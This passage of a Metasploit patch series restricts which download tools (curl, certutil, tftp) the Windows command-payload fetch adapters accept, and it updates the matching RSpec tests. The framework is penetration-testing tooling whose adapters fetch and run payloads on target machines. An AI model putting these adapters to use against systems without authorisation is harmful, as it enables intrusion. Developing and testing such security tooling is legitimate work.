fetch payload', 'CURL', %w[CURL]]) + ] + ) end end diff --git a/modules/payloads/adapters/cmd/windows/https/x86.rb b/modules/payloads/adapters/cmd/windows/https/x86.rb index 64902a3fec..bcdecc043c 100644 --- a/modules/payloads/adapters/cmd/windows/https/x86.rb +++ b/modules/payloads/adapters/cmd/windows/https/x86.rb @@ -21,5 +21,12 @@ module MetasploitModule 'AdaptedPlatform' => 'win' ) ) + deregister_options('FETCH_COMMAND') + register_options( + [ + # Certutil does not support insecure mode + Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CURL', %w[CURL]]) + ] + ) end end diff --git a/modules/payloads/adapters/cmd/windows/smb/x64.rb b/modules/payloads/adapters/cmd/windows/smb/x64.rb index fd4f9ad23a..e4b6064a35 100644 --- a/modules/payloads/adapters/cmd/windows/smb/x64.rb +++ b/modules/payloads/adapters/cmd/windows/smb/x64.rb @@ -20,7 +20,7 @@ module MetasploitModule 'AdaptedPlatform' => 'win' ) ) - deregister_options('FETCH_DELETE', 'FETCH_SRVPORT', 'FETCH_WRITABLE_DIR', 'FETCH_FILENAME') + deregister_options('FETCH_COMMAND', 'FETCH_DELETE', 'FETCH_SRVPORT', 'FETCH_WRITABLE_DIR', 'FETCH_FILENAME') end def srvport diff --git a/modules/payloads/adapters/cmd/windows/tftp/x64.rb b/modules/payloads/adapters/cmd/windows/tftp/x64.rb index 533176078e..df4f76ba46 100644 --- a/modules/payloads/adapters/cmd/windows/tftp/x64.rb +++ b/modules/payloads/adapters/cmd/windows/tftp/x64.rb @@ -21,5 +21,11 @@ module MetasploitModule 'AdaptedPlatform' => 'win' ) ) + deregister_options('FETCH_COMMAND') + register_options( + [ + Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'TFTP', %w[TFTP]]) + ] + ) end end From 1f1ca8775359c4c0c790fad923837f522b785196 Mon Sep 17 00:00:00 2001 From: bwatters-r7 Date: Wed, 1 Apr 2026 10:35:12 -0500 Subject: [PATCH 4/4] Update specs to reflect the new constraints for FETCH_COMMAND values --- .../adapters/cmd/windows/http/x64_spec.rb | 14 ++-------- .../adapters/cmd/windows/http/x86_spec.rb | 14 ++-------- .../adapters/cmd/windows/https/x64_spec.rb | 27 +++---------------- .../adapters/cmd/windows/https/x86_spec.rb | 27 +++---------------- 4 files changed, 12 insertions(+), 70 deletions(-) diff --git a/spec/modules/payloads/adapters/cmd/windows/http/x64_spec.rb b/spec/modules/payloads/adapters/cmd/windows/http/x64_spec.rb index 5ebd810c69..3b18d0cd84 100644 --- a/spec/modules/payloads/adapters/cmd/windows/http/x64_spec.rb +++ b/spec/modules/payloads/adapters/cmd/windows/http/x64_spec.rb @@ -87,8 +87,8 @@ RSpec.describe 'cmd/windows/http/x64' do expect(subject.options['FETCH_COMMAND'].valid?('CURL')).to be(true) end - it 'accepts TFTP as a valid value' do - expect(subject.options['FETCH_COMMAND'].valid?('TFTP')).to be(true) + it 'rejects TFTP as an invalid value' do + expect(subject.options['FETCH_COMMAND'].valid?('TFTP')).to be(false) end it 'accepts CERTUTIL as a valid value' do @@ -166,16 +166,6 @@ RSpec.describe 'cmd/windows/http/x64' do end end - # The TFTP client requires a TFTP server (fetch_protocol='TFTP'), so using - # TFTP as the FETCH_COMMAND with an HTTP adapter always fails at runtime. - context 'with TFTP' do - let(:fetch_command) { 'TFTP' } - let(:fetch_srvport) { 69 } - - it 'raises a bad-config error because the HTTP adapter cannot serve TFTP' do - expect { subject.generate_fetch_commands }.to raise_error(RuntimeError, /bad-config/) - end - end end describe '#fetch_protocol' do diff --git a/spec/modules/payloads/adapters/cmd/windows/http/x86_spec.rb b/spec/modules/payloads/adapters/cmd/windows/http/x86_spec.rb index f8960fc157..db454a2db0 100644 --- a/spec/modules/payloads/adapters/cmd/windows/http/x86_spec.rb +++ b/spec/modules/payloads/adapters/cmd/windows/http/x86_spec.rb @@ -87,8 +87,8 @@ RSpec.describe 'cmd/windows/http/x86' do expect(subject.options['FETCH_COMMAND'].valid?('CURL')).to be(true) end - it 'accepts TFTP as a valid value' do - expect(subject.options['FETCH_COMMAND'].valid?('TFTP')).to be(true) + it 'rejects TFTP as an invalid value' do + expect(subject.options['FETCH_COMMAND'].valid?('TFTP')).to be(false) end it 'accepts CERTUTIL as a valid value' do @@ -166,16 +166,6 @@ RSpec.describe 'cmd/windows/http/x86' do end end - # The TFTP client requires a TFTP server (fetch_protocol='TFTP'), so using - # TFTP as the FETCH_COMMAND with an HTTP adapter always fails at runtime. - context 'with TFTP' do - let(:fetch_command) { 'TFTP' } - let(:fetch_srvport) { 69 } - - it 'raises a bad-config error because the HTTP adapter cannot serve TFTP' do - expect { subject.generate_fetch_commands }.to raise_error(RuntimeError, /bad-config/) - end - end end describe '#fetch_protocol' do diff --git a/spec/modules/payloads/adapters/cmd/windows/https/x64_spec.rb b/spec/modules/payloads/adapters/cmd/windows/https/x64_spec.rb index 76ed8572d8..afd84344cd 100644 --- a/spec/modules/payloads/adapters/cmd/windows/https/x64_spec.rb +++ b/spec/modules/payloads/adapters/cmd/windows/https/x64_spec.rb @@ -87,12 +87,12 @@ RSpec.describe 'cmd/windows/https/x64' do expect(subject.options['FETCH_COMMAND'].valid?('CURL')).to be(true) end - it 'accepts TFTP as a valid value' do - expect(subject.options['FETCH_COMMAND'].valid?('TFTP')).to be(true) + it 'rejects TFTP as an invalid value' do + expect(subject.options['FETCH_COMMAND'].valid?('TFTP')).to be(false) end - it 'accepts CERTUTIL as a valid value' do - expect(subject.options['FETCH_COMMAND'].valid?('CERTUTIL')).to be(true) + it 'rejects CERTUTIL as an invalid value' do + expect(subject.options['FETCH_COMMAND'].valid?('CERTUTIL')).to be(false) end it 'rejects WGET as an invalid value' do @@ -137,25 +137,6 @@ RSpec.describe 'cmd/windows/https/x64' do end end - # CERTUTIL does not support HTTPS — it always raises a bad-config error. - context 'with CERTUTIL' do - let(:fetch_command) { 'CERTUTIL' } - - it 'raises a bad-config error because CERTUTIL does not support HTTPS' do - expect { subject.generate_fetch_commands }.to raise_error(RuntimeError, /bad-config/) - end - end - - # The TFTP client requires a TFTP server (fetch_protocol='TFTP'), so using - # TFTP as the FETCH_COMMAND with an HTTPS adapter always fails at runtime. - context 'with TFTP' do - let(:fetch_command) { 'TFTP' } - let(:fetch_srvport) { 69 } - - it 'raises a bad-config error because the HTTPS adapter cannot serve TFTP' do - expect { subject.generate_fetch_commands }.to raise_error(RuntimeError, /bad-config/) - end - end end describe '#fetch_protocol' do diff --git a/spec/modules/payloads/adapters/cmd/windows/https/x86_spec.rb b/spec/modules/payloads/adapters/cmd/windows/https/x86_spec.rb index ea4203c722..f79d86ef82 100644 --- a/spec/modules/payloads/adapters/cmd/windows/https/x86_spec.rb +++ b/spec/modules/payloads/adapters/cmd/windows/https/x86_spec.rb @@ -87,12 +87,12 @@ RSpec.describe 'cmd/windows/https/x86' do expect(subject.options['FETCH_COMMAND'].valid?('CURL')).to be(true) end - it 'accepts TFTP as a valid value' do - expect(subject.options['FETCH_COMMAND'].valid?('TFTP')).to be(true) + it 'rejects TFTP as an invalid value' do + expect(subject.options['FETCH_COMMAND'].valid?('TFTP')).to be(false) end - it 'accepts CERTUTIL as a valid value' do - expect(subject.options['FETCH_COMMAND'].valid?('CERTUTIL')).to be(true) + it 'rejects CERTUTIL as an invalid value' do + expect(subject.options['FETCH_COMMAND'].valid?('CERTUTIL')).to be(false) end it 'rejects WGET as an invalid value' do @@ -137,25 +137,6 @@ RSpec.describe 'cmd/windows/https/x86' do end end - # CERTUTIL does not support HTTPS — it always raises a bad-config error. - context 'with CERTUTIL' do - let(:fetch_command) { 'CERTUTIL' } - - it 'raises a bad-config error because CERTUTIL does not support HTTPS' do - expect { subject.generate_fetch_commands }.to raise_error(RuntimeError, /bad-config/) - end - end - - # The TFTP client requires a TFTP server (fetch_protocol='TFTP'), so using - # TFTP as the FETCH_COMMAND with an HTTPS adapter always fails at runtime. - context 'with TFTP' do - let(:fetch_command) { 'TFTP' } - let(:fetch_srvport) { 69 } - - it 'raises a bad-config error because the HTTPS adapter cannot serve TFTP' do - expect { subject.generate_fetch_commands }.to raise_error(RuntimeError, /bad-config/) - end - end end describe '#fetch_protocol' do